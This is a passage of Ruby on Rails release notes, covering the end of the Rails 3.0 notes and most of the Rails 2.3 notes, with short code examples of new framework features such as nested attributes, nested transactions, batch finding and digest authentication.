group - groups the relation on the attribute supplied.

having - provides an expression limiting group relations (GROUP BY constraint).

joins - joins the relation to another table.

clause - provides an expression limiting join relations (JOIN constraint).

includes - includes other relations pre-loaded.

order - orders the relation based on the expression supplied.

limit - limits the relation to the number of records specified.

lock - locks the records returned from the table.

readonly - returns an read only copy of the data.

from - provides a way to select relationships from more than one table.

scope - (previously named_scope) return relations and can be chained together with the other relation methods.

with_scope - and with_exclusive_scope now also return relations and so can be chained.

default_scope - also works with relations.

More Information:

Active Record Query Interface

Let your SQL Growl in Rails 3

9.2 Enhancements

Added :destroyed? to Active Record objects.

Added :inverse_of to Active Record associations allowing you to pull the instance of an already loaded association without hitting the database.

9.3 Patches and Deprecations

Additionally, many fixes in the Active Record branch:

SQLite 2 support has been dropped in favor of SQLite 3.

MySQL support for column order.

PostgreSQL adapter has had its TIME ZONE support fixed so it no longer inserts incorrect values.

Support multiple schemas in table names for PostgreSQL.

PostgreSQL support for the XML data type column.

table_name is now cached.

A large amount of work done on the Oracle adapter as well with many bug fixes.

As well as the following deprecations:

named_scope in an Active Record class is deprecated and has been renamed to just scope.

In scope methods, you should move to using the relation methods, instead of a :conditions => {} finder method, for example scope :since, lambda {|time| where("created_at > ?", time) }.

save(false) is deprecated, in favor of save(:validate => false).

I18n error messages for Active Record should be changed from :en.activerecord.errors.template to :en.errors.template.

model.errors.on is deprecated in favor of model.errors[]

validates_presence_of => validates... :presence => true

ActiveRecord::Base.colorize_logging and config.active_record.colorize_logging are deprecated in favor of Rails::LogSubscriber.colorize_logging or config.colorize_logging

While an implementation of State Machine has been in Active Record edge for some months now, it has been removed from the Rails 3.0 release.

10 Active Resource

Active Resource was also extracted out to Active Model allowing you to use Active Resource objects with Action Pack seamlessly.

Added validations through Active Model.

Added observing hooks.

HTTP proxy support.

Added support for digest authentication.

Moved model naming into Active Model.

Changed Active Resource attributes to a Hash with indifferent access.

Added first, last and all aliases for equivalent find scopes.

find_every now does not return a ResourceNotFound error if nothing returned.

Added save! which raises ResourceInvalid unless the object is valid?.

update_attribute and update_attributes added to Active Resource models.

Added exists?.

Renamed SchemaDefinition to Schema and define_schema to schema.

Use the format of Active Resources rather than the content-type of remote errors to load errors.

Use instance_eval for schema block.

Fix ActiveResource::ConnectionError#to_s when @response does not respond to #code or #message, handles Ruby 1.9 compatibility.

Add support for errors in JSON format.

Ensure load works with numeric arrays.

Recognizes a 410 response from remote resource as the resource has been deleted.

Add ability to set SSL options on Active Resource connections.

Setting connection timeout also affects Net::HTTP open_timeout.

Deprecations:

save(false) is deprecated, in favor of save(:validate => false).

Ruby 1.9.2: URI.parse and .decode are deprecated and are no longer used in the library.

11 Active Support

A large effort was made in Active Support to make it cherry pickable, that is, you no longer have to require the entire Active Support library to get pieces of it. This allows the various core components of Rails to run slimmer.

These are the main changes in Active Support:

Large clean up of the library removing unused methods throughout.

Active Support no longer provides vendored versions of TZInfo, Memcache Client and Builder. These are all included as dependencies and installed via the bundle install command.

Safe buffers are implemented in ActiveSupport::SafeBuffer.

Added Array.uniq_by and Array.uniq_by!.

Removed Array#rand and backported Array#sample from Ruby 1.9.

Fixed bug on TimeZone.seconds_to_utc_offset returning wrong value.

Added ActiveSupport::Notifications middleware.

ActiveSupport.use_standard_json_time_format now defaults to true.

ActiveSupport.escape_html_entities_in_json now defaults to false.

Integer#multiple_of? accepts zero as an argument, returns false unless the receiver is zero.

string.chars has been renamed to string.mb_chars.

ActiveSupport::OrderedHash now can de-serialize through YAML.

Added SAX-based parser for XmlMini, using LibXML and Nokogiri.

Added Object#presence that returns the object if it's #present? otherwise returns nil.

Added String#exclude? core extension that returns the inverse of #include?.

Added to_i to DateTime in ActiveSupport so to_yaml works correctly on models with DateTime attributes.

Added Enumerable#exclude? to bring parity to Enumerable#include? and avoid if !x.include?.

Switch to on-by-default XSS escaping for rails.

Support deep-merging in ActiveSupport::HashWithIndifferentAccess.

Enumerable#sum now works will all enumerables, even if they don't respond to :size.

inspect on a zero length duration returns '0 seconds' instead of empty string.

Add element and collection to ModelName.

String#to_time and String#to_datetime handle fractional seconds.

Added support to new callbacks for around filter object that respond to :before and :after used in before and after callbacks.

The ActiveSupport::OrderedHash#to_a method returns an ordered set of arrays. Matches Ruby 1.9's Hash#to_a.

MissingSourceFile exists as a constant but it is now just equal to LoadError.

Added Class#class_attribute, to be able to declare a class-level attribute whose value is inheritable and overwritable by subclasses.

Finally removed DeprecatedCallbacks in ActiveRecord::Associations.

Object#metaclass is now Kernel#singleton_class to match Ruby.

The following methods have been removed because they are now available in Ruby 1.8.7 and 1.9.

Integer#even? and Integer#odd?

String#each_char

String#start_with? and String#end_with? (3rd person aliases still kept)

String#bytesize

Object#tap

Symbol#to_proc

Object#instance_variable_defined?

Enumerable#none?

The security patch for REXML remains in Active Support because early patch-levels of Ruby 1.8.7 still need it. Active Support knows whether it has to apply it or not.

The following methods have been removed because they are no longer used in the framework:

Kernel#daemonize

Object#remove_subclasses_of Object#extend_with_included_modules_from, Object#extended_by

Class#remove_class

Regexp#number_of_captures, Regexp.unoptionalize, Regexp.optionalize, Regexp#number_of_captures

12 Action Mailer

Action Mailer has been given a new API with TMail being replaced out with the new Mail as the email library. Action Mailer itself has been given an almost complete re-write with pretty much every line of code touched. The result is that Action Mailer now simply inherits from Abstract Controller and wraps the Mail gem in a Rails DSL. This reduces the amount of code and duplication of other libraries in Action Mailer considerably.

All mailers are now in app/mailers by default.

Can now send email using new API with three methods: attachments, headers and mail.

Action Mailer now has native support for inline attachments using the attachments.inline method.

Action Mailer emailing methods now return Mail::Message objects, which can then be sent the deliver message to send itself.

All delivery methods are now abstracted out to the Mail gem.

The mail delivery method can accept a hash of all valid mail header fields with their value pair.

The mail delivery method acts in a similar way to Action Controller's respond_to, and you can explicitly or implicitly render templates. Action Mailer will turn the email into a multipart email as needed.

You can pass a proc to the format.mime_type calls within the mail block and explicitly render specific types of text, or add layouts or different templates. The render call inside the proc is from Abstract Controller and supports the same options.

What were mailer unit tests have been moved to functional tests.

Action Mailer now delegates all auto encoding of header fields and bodies to Mail Gem

Action Mailer will auto encode email bodies and headers for you

Deprecations:

:charset, :content_type, :mime_version, :implicit_parts_order are all deprecated in favor of ActionMailer.default :key => value style declarations.

Mailer dynamic create_method_name and deliver_method_name are deprecated, just call method_name which now returns a Mail::Message object.

ActionMailer.deliver(message) is deprecated, just call message.deliver.

template_root is deprecated, pass options to a render call inside a proc from the format.mime_type method inside the mail generation block

The body method to define instance variables is deprecated (body {:ivar => value}), just declare instance variables in the method directly and they will be available in the view.

Mailers being in app/models is deprecated, use app/mailers instead.

More Information:

New Action Mailer API in Rails 3

New Mail Gem for Ruby

13 Credits

See the full list of contributors to Rails for the many people who spent many hours making Rails 3. Kudos to all of them.

Rails 3.0 Release Notes were compiled by Mikel Lindsaar.

Ruby on Rails 2.3 Release Notes

Rails 2.3 delivers a variety of new and improved features, including pervasive Rack integration, refreshed support for Rails Engines, nested transactions for Active Record, dynamic and default scopes, unified rendering, more efficient routing, application templates, and quiet backtraces. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the list of commits in the main Rails repository on GitHub or review the CHANGELOG files for the individual Rails components.

Chapters

Application Architecture

Rack Integration

Renewed Support for Rails Engines

Documentation

Ruby 1.9.1 Support

Active Record

Nested Attributes

Nested Transactions

Dynamic Scopes

Default Scopes

Batch Processing

Multiple Conditions for Callbacks

Find with having

Reconnecting MySQL Connections

Other Active Record Changes

Action Controller

Unified Rendering

Application Controller Renamed

HTTP Digest Authentication Support

More Efficient Routing

Rack-based Lazy-loaded Sessions

MIME Type Handling Changes

Optimization of respond_to

Improved Caching Performance

Localized Views

Partial Scoping for Translations

Other Action Controller Changes

Action View

Nested Object Forms

Smart Rendering of Partials

Prompts for Date Select Helpers

AssetTag Timestamp Caching

Asset Hosts as Objects

grouped_options_for_select Helper Method

Disabled Option Tags for Form Select Helpers

A Note About Template Loading

Other Action View Changes

Active Support

Object#try

Object#tap Backport

Swappable Parsers for XMLmini

Fractional seconds for TimeWithZone

JSON Key Quoting

Other Active Support Changes

Railties

Rails Metal

Application Templates

Quieter Backtraces

Faster Boot Time in Development Mode with Lazy Loading/Autoload

rake gem Task Rewrite

Other Railties Changes

Deprecated

Credits

1 Application Architecture

There are two major changes in the architecture of Rails applications: complete integration of the Rack modular web server interface, and renewed support for Rails Engines.

1.1 Rack Integration

Rails has now broken with its CGI past, and uses Rack everywhere. This required and resulted in a tremendous number of internal changes (but if you use CGI, don't worry; Rails now supports CGI through a proxy interface). Still, this is a major change to Rails internals. After upgrading to 2.3, you should test on your local environment and your production environment. Some things to test:

Sessions

Cookies

File uploads

JSON/XML APIs

Here's a summary of the rack-related changes:

script/server has been switched to use Rack, which means it supports any Rack compatible server. script/server will also pick up a rackup configuration file if one exists. By default, it will look for a config.ru file, but you can override this with the -c switch.

The FCGI handler goes through Rack.

ActionController::Dispatcher maintains its own default middleware stack. Middlewares can be injected in, reordered, and removed. The stack is compiled into a chain on boot. You can configure the middleware stack in environment.rb.

The rake middleware task has been added to inspect the middleware stack. This is useful for debugging the order of the middleware stack.

The integration test runner has been modified to execute the entire middleware and application stack. This makes integration tests perfect for testing Rack middleware.

ActionController::CGIHandler is a backwards compatible CGI wrapper around Rack. The CGIHandler is meant to take an old CGI object and convert its environment information into a Rack compatible form.

CgiRequest and CgiResponse have been removed.

Session stores are now lazy loaded. If you never access the session object during a request, it will never attempt to load the session data (parse the cookie, load the data from memcache, or lookup an Active Record object).

You no longer need to use CGI::Cookie.new in your tests for setting a cookie value. Assigning a String value to request.cookies["foo"] now sets the cookie as expected.

CGI::Session::CookieStore has been replaced by ActionController::Session::CookieStore.

CGI::Session::MemCacheStore has been replaced by ActionController::Session::MemCacheStore.

CGI::Session::ActiveRecordStore has been replaced by ActiveRecord::SessionStore.

You can still change your session store with ActionController::Base.session_store = :active_record_store.

Default sessions options are still set with ActionController::Base.session = { :key => "..." }. However, the :session_domain option has been renamed to :domain.

The mutex that normally wraps your entire request has been moved into middleware, ActionController::Lock.

ActionController::AbstractRequest and ActionController::Request have been unified. The new ActionController::Request inherits from Rack::Request. This affects access to response.headers['type'] in test requests. Use response.content_type instead.

ActiveRecord::QueryCache middleware is automatically inserted onto the middleware stack if ActiveRecord has been loaded. This middleware sets up and flushes the per-request Active Record query cache.

The Rails router and controller classes follow the Rack spec. You can call a controller directly with SomeController.call(env). The router stores the routing parameters in rack.routing_args.

ActionController::Request inherits from Rack::Request.

Instead of config.action_controller.session = { :session_key => 'foo', ... use config.action_controller.session = { :key => 'foo', ....

Using the ParamsParser middleware preprocesses any XML, JSON, or YAML requests so they can be read normally with any Rack::Request object after it.

1.2 Renewed Support for Rails Engines

After some versions without an upgrade, Rails 2.3 offers some new features for Rails Engines (Rails applications that can be embedded within other applications). First, routing files in engines are automatically loaded and reloaded now, just like your routes.rb file (this also applies to routing files in other plugins). Second, if your plugin has an app folder, then app/[models|controllers|helpers] will automatically be added to the Rails load path. Engines also support adding view paths now, and Action Mailer as well as Action View will use views from engines and other plugins.

2 Documentation

The Ruby on Rails guides project has published several additional guides for Rails 2.3. In addition, a separate site maintains updated copies of the Guides for Edge Rails. Other documentation efforts include a relaunch of the Rails wiki and early planning for a Rails Book.

More Information: Rails Documentation Projects

3 Ruby 1.9.1 Support

Rails 2.3 should pass all of its own tests whether you are running on Ruby 1.8 or the now-released Ruby 1.9.1. You should be aware, though, that moving to 1.9.1 entails checking all of the data adapters, plugins, and other code that you depend on for Ruby 1.9.1 compatibility, as well as Rails core.

4 Active Record

Active Record gets quite a number of new features and bug fixes in Rails 2.3. The highlights include nested attributes, nested transactions, dynamic and default scopes, and batch processing.

4.1 Nested Attributes

Active Record can now update the attributes on nested models directly, provided you tell it to do so:

  class Book < ActiveRecord::Base
  has_one :author
  has_many :pages

  accepts_nested_attributes_for :author, :pages
end

Turning on nested attributes enables a number of things: automatic (and atomic) saving of a record together with its associated children, child-aware validations, and support for nested forms (discussed later).

You can also specify requirements for any new records that are added via nested attributes using the :reject_if option:

  accepts_nested_attributes_for :author,
  :reject_if => proc { |attributes| attributes['name'].blank? }

Lead Contributor: Eloy Duran

More Information: Nested Model Forms

4.2 Nested Transactions

Active Record now supports nested transactions, a much-requested feature. Now you can write code like this:

  User.transaction do
  User.create(:username => 'Admin')
  User.transaction(:requires_new => true) do
    User.create(:username => 'Regular')
    raise ActiveRecord::Rollback
  end
end

User.find(:all)  # => Returns only Admin

Nested transactions let you roll back an inner transaction without affecting the state of the outer transaction. If you want a transaction to be nested, you must explicitly add the :requires_new option; otherwise, a nested transaction simply becomes part of the parent transaction (as it does currently on Rails 2.2). Under the covers, nested transactions are using savepoints so they're supported even on databases that don't have true nested transactions. There is also a bit of magic going on to make these transactions play well with transactional fixtures during testing.

Lead Contributors: Jonathan Viney and Hongli Lai

4.3 Dynamic Scopes

You know about dynamic finders in Rails (which allow you to concoct methods like find_by_color_and_flavor on the fly) and named scopes (which allow you to encapsulate reusable query conditions into friendly names like currently_active). Well, now you can have dynamic scope methods. The idea is to put together syntax that allows filtering on the fly and method chaining. For example:

  Order.scoped_by_customer_id(12)
Order.scoped_by_customer_id(12).find(:all,
  :conditions => "status = 'open'")
Order.scoped_by_customer_id(12).scoped_by_status("open")

There's nothing to define to use dynamic scopes: they just work.

Lead Contributor: Yaroslav Markin

More Information: What's New in Edge Rails: Dynamic Scope Methods

4.4 Default Scopes

Rails 2.3 will introduce the notion of default scopes similar to named scopes, but applying to all named scopes or find methods within the model. For example, you can write default_scope :order => 'name ASC' and any time you retrieve records from that model they'll come out sorted by name (unless you override the option, of course).

Lead Contributor: Paweł Kondzior

More Information: What's New in Edge Rails: Default Scoping

4.5 Batch Processing

You can now process large numbers of records from an Active Record model with less pressure on memory by using find_in_batches:

  Customer.find_in_batches(:conditions => {:active => true}) do |customer_group|
  customer_group.each { |customer| customer.update_account_balance! }
end

You can pass most of the find options into find_in_batches. However, you cannot specify the order that records will be returned in (they will always be returned in ascending order of primary key, which must be an integer), or use the :limit option. Instead, use the :batch_size option, which defaults to 1000, to set the number of records that will be returned in each batch.

The new find_each method provides a wrapper around find_in_batches that returns individual records, with the find itself being done in batches (of 1000 by default):

  Customer.find_each do |customer|
  customer.update_account_balance!
end

Note that you should only use this method for batch processing: for small numbers of records (less than 1000), you should just use the regular find methods with your own loop.

More Information (at that point the convenience method was called just each):

Rails 2.3: Batch Finding

What's New in Edge Rails: Batched Find

4.6 Multiple Conditions for Callbacks

When using Active Record callbacks, you can now combine :if and :unless options on the same callback, and supply multiple conditions as an array:

  before_save :update_credit_rating, :if => :active,
  :unless => [:admin, :cash_only]

Lead Contributor: L. Caviola

4.7 Find with having

Rails now has a :having option on find (as well as on has_many and has_and_belongs_to_many associations) for filtering records in grouped finds. As those with heavy SQL backgrounds know, this allows filtering based on grouped results:

  developers = Developer.find(:all, :group => "salary",
  :having => "sum(salary) > 10000", :select => "salary")

Lead Contributor: Emilio Tagua

4.8 Reconnecting MySQL Connections

MySQL supports a reconnect flag in its connections - if set to true, then the client will try reconnecting to the server before giving up in case of a lost connection. You can now set reconnect = true for your MySQL connections in database.yml to get this behavior from a Rails application. The default is false, so the behavior of existing applications doesn't change.

Lead Contributor: Dov Murik

More information:

Controlling Automatic Reconnection Behavior

MySQL auto-reconnect revisited

4.9 Other Active Record Changes

An extra AS was removed from the generated SQL for has_and_belongs_to_many preloading, making it work better for some databases.

ActiveRecord::Base#new_record? now returns false rather than nil when confronted with an existing record.

A bug in quoting table names in some has_many :through associations was fixed.

You can now specify a particular timestamp for updated_at timestamps: cust = Customer.create(:name => "ABC Industries", :updated_at => 1.day.ago)

Better error messages on failed find_by_attribute! calls.

Active Record's to_xml support gets just a little bit more flexible with the addition of a :camelize option.

A bug in canceling callbacks from before_update or before_create was fixed.

Rake tasks for testing databases via JDBC have been added.

validates_length_of will use a custom error message with the :in or :within options (if one is supplied).

Counts on scoped selects now work properly, so you can do things like Account.scoped(:select => "DISTINCT credit_limit").count.

ActiveRecord::Base#invalid? now works as the opposite of ActiveRecord::Base#valid?.

5 Action Controller

Action Controller rolls out some significant changes to rendering, as well as improvements in routing and other areas, in this release.

5.1 Unified Rendering

ActionController::Base#render is a lot smarter about deciding what to render. Now you can just tell it what to render and expect to get the right results. In older versions of Rails, you often need to supply explicit information to render:

  render :file => '/tmp/random_file.erb'
render :template => 'other_controller/action'
render :action => 'show'

Now in Rails 2.3, you can just supply what you want to render:

  render '/tmp/random_file.erb'
render 'other_controller/action'
render 'show'
render :show

Rails chooses between file, template, and action depending on whether there is a leading slash, an embedded slash, or no slash at all in what's to be rendered. Note that you can also use a symbol instead of a string when rendering an action. Other rendering styles (:inline, :text, :update, :nothing, :json, :xml, :js) still require an explicit option.

5.2 Application Controller Renamed

If you're one of the people who has always been bothered by the special-case naming of application.rb, rejoice! It's been reworked to be application_controller.rb in Rails 2.3. In addition, there's a new rake task, rake rails:update:application_controller to do this automatically for you - and it will be run as part of the normal rake rails:update process.

More Information:

The Death of Application.rb

What's New in Edge Rails: Application.rb Duality is no More

5.3 HTTP Digest Authentication Support

Rails now has built-in support for HTTP digest authentication. To use it, you call authenticate_or_request_with_http_digest with a block that returns the user's password (which is then hashed and compared against the transmitted credentials):

  class PostsController < ApplicationController
  Users = {"dhh" => "secret"}
  before_filter :authenticate

  def secret
    render :text => "Password Required!"
  end

  private
  def authenticate
    realm = "Application"
    authenticate_or_request_with_http_digest(realm) do |name|
      Users[name]
    end
  end
end

Lead Contributor: Gregg Kellogg

More Information: What's New in Edge Rails: HTTP Digest Authentication

5.4 More Efficient Routing

There are a couple of significant routing changes in Rails 2.3. The formatted_ route helpers are gone, in favor just passing in :format as an option. This cuts down the route generation process by 50% for any resource - and can save a substantial amount of memory (up to 100MB on large applications). If your code uses the formatted_ helpers, it will still work for the time being - but that behavior is deprecated and your application will be more efficient if you rewrite those routes using the new standard. Another big change is that Rails now supports multiple routing files, not just routes.rb. You can use RouteSet#add_configuration_file to bring in more routes at any time - without clearing the currently loaded routes. While this change is most useful for Engines, you can use it in any application that needs to load routes in batches.

Lead Contributors: Aaron Batalion

5.5 Rack-based Lazy-loaded Sessions

A big change pushed the underpinnings of Action Controller session storage down to the Rack level. This involved a good deal of work in the code, though it should be completely transparent to your Rails applications (as a bonus, some icky patches around the old CGI session handler got removed). It's still significant, though, for one simple reason: non-Rails Rack applications have access to the same session storage handlers (and therefore the same session) as your Rails applications. In addition, sessions are now lazy-loaded (in line with the loading improvements to the rest of the framework). This means that you no longer need to explicitly disable sessions if you don't want them; just don't refer to them and they won't load.

5.6 MIME Type Handling Changes

There are a couple of changes to the code for handling MIME types in Rails. First, MIME::Type now implements the =~ operator, making things much cleaner when you need to check for the presence of a type that has synonyms:

  if content_type && Mime::JS =~ content_type
  # do something cool
end

Mime::JS =~ "text/javascript"        => true
Mime::JS =~ "application/javascript" => true

The other change is that the framework now uses the Mime::JS when checking for JavaScript in various spots, making it handle those alternatives cleanly.

Lead Contributor: Seth Fitzsimmons

5.7 Optimization of respond_to

In some of the first fruits of the Rails-Merb team merger, Rails 2.3 includes some optimizations for the respond_to method, which is of course heavily used in many Rails applications to allow your controller to format results differently based on the MIME type of the incoming request. After eliminating a call to method_missing and some profiling and tweaking, we're seeing an 8% improvement in the number of requests per second served with a simple respond_to that switches between three formats. The best part? No change at all required to the code of your application to take advantage of this speedup.

5.8 Improved Caching Performance

Rails now keeps a per-request local cache of read from the remote cache stores, cutting down on unnecessary reads and leading to better site performance. While this work was originally limited to MemCacheStore, it is available to any remote store than implements the required methods.

Lead Contributor: Nahum Wild

5.9 Localized Views

Rails can now provide localized views, depending on the locale that you have set. For example, suppose you have a Posts controller with a show action. By default, this will render app/views/posts/show.html.erb. But if you set I18n.locale = :da, it will render app/views/posts/show.da.html.erb. If the localized template isn't present, the undecorated version will be used. Rails also includes I18n#available_locales and I18n::SimpleBackend#available_locales, which return an array of the translations that are available in the current Rails project.

In addition, you can use the same scheme to localize the rescue files in the public directory: public/500.da.html or public/404.en.html work, for example.

5.10 Partial Scoping for Translations

A change to the translation API makes things easier and less repetitive to write key translations within partials. If you call translate(".foo") from the people/index.html.erb template, you'll actually be calling I18n.translate("people.index.foo") If you don't prepend the key with a period, then the API doesn't scope, just as before.

5.11 Other Action Controller Changes

ETag handling has been cleaned up a bit: Rails will now skip sending an ETag header when there's no body to the response or when sending files with send_file.

The fact that Rails checks for IP spoofing can be a nuisance for sites that do heavy traffic with cell phones, because their proxies don't generally set things up right. If that's you, you can now set ActionController::Base.ip_spoofing_check = false to disable the check entirely.

ActionController::Dispatcher now implements its own middleware stack, which you can see by running rake middleware.

Cookie sessions now have persistent session identifiers, with API compatibility with the server-side stores.

You can now use symbols for the :type option of send_file and send_data, like this: send_file("fabulous.png", :type => :png).

The :only and :except options for map.resources are no longer inherited by nested resources.

The bundled memcached client has been updated to version 1.6.4.99.

The expires_in, stale?, and fresh_when methods now accept a :public option to make them work well with proxy caching.

The :requirements option now works properly with additional RESTful member routes.

Shallow routes now properly respect namespaces.

polymorphic_url does a better job of handling objects with irregular plural names.

6 Action View

Action View in Rails 2.3 picks up nested model forms, improvements to render, more flexible prompts for the date select helpers, and a speedup in asset caching, among other things.

6.1 Nested Object Forms

Provided the parent model accepts nested attributes for the child objects (as discussed in the Active Record section), you can create nested forms using form_for and field_for. These forms can be nested arbitrarily deep, allowing you to edit complex object hierarchies on a single view without excessive code. For example, given this model:

  class Customer < ActiveRecord::Base
  has_many :orders

  accepts_nested_attributes_for :orders, :allow_destroy => true
end

You can write this view in Rails 2.3:

  <% form_for @customer do |customer_form| %>
  <div>
    <%= customer_form.label :name, 'Customer Name:' %>
    <%= customer_form.text_field :name %>
  </div>

  <!-- Here we call fields_for on the customer_form builder instance.
   The block is called for each member of the orders collection. -->
  <% customer_form.fields_for :orders do |order_form| %>
    <p>
      <div>
        <%= order_form.label :number, 'Order Number:' %>
        <%= order_form.text_field :number %>
      </div>

  <!-- The allow_destroy option in the model enables deletion of
   child records. -->
      <% unless order_form.object.new_record? %>
        <div>
          <%= order_form.label :_delete, 'Remove:' %>
          <%= order_form.check_box :_delete %>
        </div>
      <% end %>
    </p>
  <% end %>

  <%= customer_form.submit %>
<% end %>

Lead Contributor: Eloy Duran

More Information:

Nested Model Forms

complex-form-examples

What's New in Edge Rails: Nested Object Forms

6.2 Smart Rendering of Partials

The render method has been getting smarter over the years, and it's even smarter now. If you have an object or a collection and an appropriate partial, and the naming matches up, you can now just render the object and things will work. For example, in Rails 2.3, these render calls will work in your view (assuming sensible naming):

  # Equivalent of render :partial => 'articles/_article',
# :object => @article
render @article

# Equivalent of render :partial => 'articles/_article',
# :collection => @articles
render @articles

More Information: What's New in Edge Rails: render Stops Being High-Maintenance

6.3 Prompts for Date Select Helpers

In Rails 2.3, you can supply custom prompts for the various date select helpers (date_select, time_select, and datetime_select), the same way you can with collection select helpers. You can supply a prompt string or a hash of individual prompt strings for the various components. You can also just set :prompt to true to use the custom generic prompt:

  select_datetime(DateTime.now, :prompt => true)

select_datetime(DateTime.now, :prompt => "Choose date and time")

select_datetime(DateTime.now, :prompt =>
  {:day => 'Choose day', :month => 'Choose month',
   :year => 'Choose year', :hour => 'Choose hour',
   :minute => 'Choose minute'})

Lead Contributor: Sam Oliver

6.4 AssetTag Timestamp Caching

You're likely familiar with Rails' practice of adding timestamps to static asset paths as a "cache buster". This helps ensure that stale copies of things like images and stylesheets don't get served out of the user's browser cache when you change them on the server. You can now modify this behavior with the cache_asset_timestamps configuration option for Action View. If you enable the cache, then Rails will calculate the timestamp once when it first serves an asset, and save that value. This means fewer (expensive) file system calls to serve static assets - but it also means that you can't modify any of the assets while the server is running and expect the changes to get picked up by clients.

6.5 Asset Hosts as Objects

Asset hosts get more flexible in edge Rails with the ability to declare an asset host as a specific object that responds to a call. This allows you to implement any complex logic you need in your asset hosting.

More Information: asset-hosting-with-minimum-ssl

6.6 grouped_options_for_select Helper Method

Action View already had a bunch of helpers to aid in generating select controls, but now there's one more: grouped_options_for_select. This one accepts an array or hash of strings, and converts them into a string of option tags wrapped with optgroup tags. For example:

  grouped_options_for_select([["Hats", ["Baseball Cap","Cowboy Hat"]]],
  "Cowboy Hat", "Choose a product...")

returns

  <option value="">Choose a product...</option>
<optgroup label="Hats">
  <option value="Baseball Cap">Baseball Cap</option>
  <option selected="selected" value="Cowboy Hat">Cowboy Hat</option>
</optgroup>

6.7 Disabled Option Tags for Form Select Helpers

The form select helpers (such as select and options_for_select) now support a :disabled option, which can take a single value or an array of values to be disabled in the resulting tags:

  select(:post, :category, Post::CATEGORIES, :disabled => 'private')

returns

  <select name="post[category]">
<option>story</option>
<option>joke</option>
<option>poem</option>
<option disabled="disabled">private</option>
</select>

You can also use an anonymous function to determine at runtime which options from collections will be selected and/or disabled:

  options_from_collection_for_select(@product.sizes, :name, :id, :disabled => lambda{|size| size.out_of_stock?})

Lead Contributor: Tekin Suleyman

More Information: New in rails 2.3 - disabled option tags and lambdas for selecting and disabling options from collections

6.8 A Note About Template Loading

Rails 2.3 includes the ability to enable or disable cached templates for any particular environment. Cached templates give you a speed boost because they don't check for a new template file when they're rendered - but they also mean that you can't replace a template "on the fly" without restarting the server.

In most cases, you'll want template caching to be turned on in production, which you can do by making a setting in your production.rb file:

  config.action_view.cache_template_loading = true

This line will be generated for you by default in a new Rails 2.3 application. If you've upgraded from an older version of Rails, Rails will default to caching templates in production and test but not in development.

6.9 Other Action View Changes

Token generation for CSRF protection has been simplified; now Rails uses a simple random string generated by ActiveSupport::SecureRandom rather than mucking around with session IDs.

auto_link now properly applies options (such as :target and :class) to generated e-mail links.

The autolink helper has been refactored to make it a bit less messy and more intuitive.

current_page? now works properly even when there are multiple query parameters in the URL.

7 Active Support

Active Support has a few interesting changes, including the introduction of Object#try.

7.1 Object#try

A lot of folks have adopted the notion of using try() to attempt operations on objects. It's especially helpful in views where you can avoid nil-checking by writing code like <%= @person.try(:name) %>. Well, now it's baked right into Rails. As implemented in Rails, it raises NoMethodError on private methods and always returns nil if the object is nil.

More Information: try()

7.2 Object#tap Backport

Object#tap is an addition to Ruby 1.9 and 1.8.7 that is similar to the returning method that Rails has had for a while: it yields to a block, and then returns the object that was yielded. Rails now includes code to make this available under older versions of Ruby as well.

7.3 Swappable Parsers for XMLmini

The support for XML parsing in Active Support has been made more flexible by allowing you to swap in different parsers. By default, it uses the standard REXML implementation, but you can easily specify the faster LibXML or Nokogiri implementations for your own applications, provided you have the appropriate gems installed:

  XmlMini.backend = 'LibXML'

Lead Contributor: Bart ten Brinke

Lead Contributor: Aaron Patterson

7.4 Fractional seconds for TimeWithZone

The Time and TimeWithZone classes include an xmlschema method to return the time in an XML-friendly string. As of Rails 2.3, TimeWithZone supports the same argument for specifying the number of digits in the fractional second part of the returned string that Time does:

  Time.zone.now.xmlschema(6) # => "2009-01-16T13:00:06.13653Z"

Lead Contributor: Nicholas Dainty

7.5 JSON Key Quoting

If you look up the spec on the "json.org" site, you'll discover that all keys in a JSON structure must be strings, and they must be quoted with double quotes. Starting with Rails 2.3, we do the right thing here, even with numeric keys.

7.6 Other Active Support Changes

You can use Enumerable#none? to check that none of the elements match the supplied block.

If you're using Active Support delegates the new :allow_nil option lets you return nil instead of raising an exception when the target object is nil.

ActiveSupport::OrderedHash: now implements each_key and each_value.

ActiveSupport::MessageEncryptor provides a simple way to encrypt information for storage in an untrusted location (like cookies).

Active Support's from_xml no longer depends on XmlSimple. Instead, Rails now includes its own XmlMini implementation, with just the functionality that it requires. This lets Rails dispense with the bundled copy of XmlSimple that it's been carting around.

If you memoize a private method, the result will now be private.

String#parameterize accepts an optional separator: "Quick Brown Fox".parameterize('_') => "quick_brown_fox".

number_to_phone accepts 7-digit phone numbers now.

ActiveSupport::Json.decode now handles \u0000 style escape sequences.

8 Railties

In addition to the Rack changes covered above, Railties (the core code of Rails itself) sports a number of significant changes, including Rails Metal, application templates, and quiet backtraces.

8.1 Rails Metal

Rails Metal is a new mechanism that provides superfast endpoints inside of your Rails applications. Metal classes bypass routing and Action Controller to give you raw speed (at the cost of all the things in Action Controller, of course). This builds on all of the recent foundation work to make Rails a Rack application with an exposed middleware stack. Metal endpoints can be loaded from your application or from plugins.

More Information:

Introducing Rails Metal

Rails Metal: a micro-framework with the power of Rails

Metal: Super-fast Endpoints within your Rails Apps

What's New in Edge Rails: Rails Metal

8.2 Application Templates

Rails 2.3 incorporates Jeremy McAnally's rg application generator. What this means is that we now have template-based application generation built right into Rails; if you have a set of plugins you include in every application (among many other use cases), you can just set up a template once and use it over and over again when you run the rails command. There's also a rake task to apply a template to an existing application:

  $ rake rails:template LOCATION=~/template.rb

This will layer the changes from the template on top of whatever code the project already contains.

Lead Contributor: Jeremy McAnally

More Info:Rails templates

8.3 Quieter Backtraces

Building on thoughtbot's Quiet Backtrace plugin, which allows you to selectively remove lines from Test::Unit backtraces, Rails 2.3 implements ActiveSupport::BacktraceCleaner and Rails::BacktraceCleaner in core. This supports both filters (to perform regex-based substitutions on backtrace lines) and silencers (to remove backtrace lines entirely). Rails automatically adds silencers to get rid of the most common noise in a new application, and builds a config/backtrace_silencers.rb file to hold your own additions. This feature also enables prettier printing from any gem in the backtrace.

8.4 Faster Boot Time in Development Mode with Lazy Loading/Autoload

Quite a bit of work was done to make sure that bits of Rails (and its dependencies) are only brought into memory when they're actually needed. The core frameworks - Active Support, Active Record, Action Controller, Action Mailer, and Action View - are now using autoload to lazy-load their individual classes. This work should help keep the memory footprint down and improve overall Rails performance.

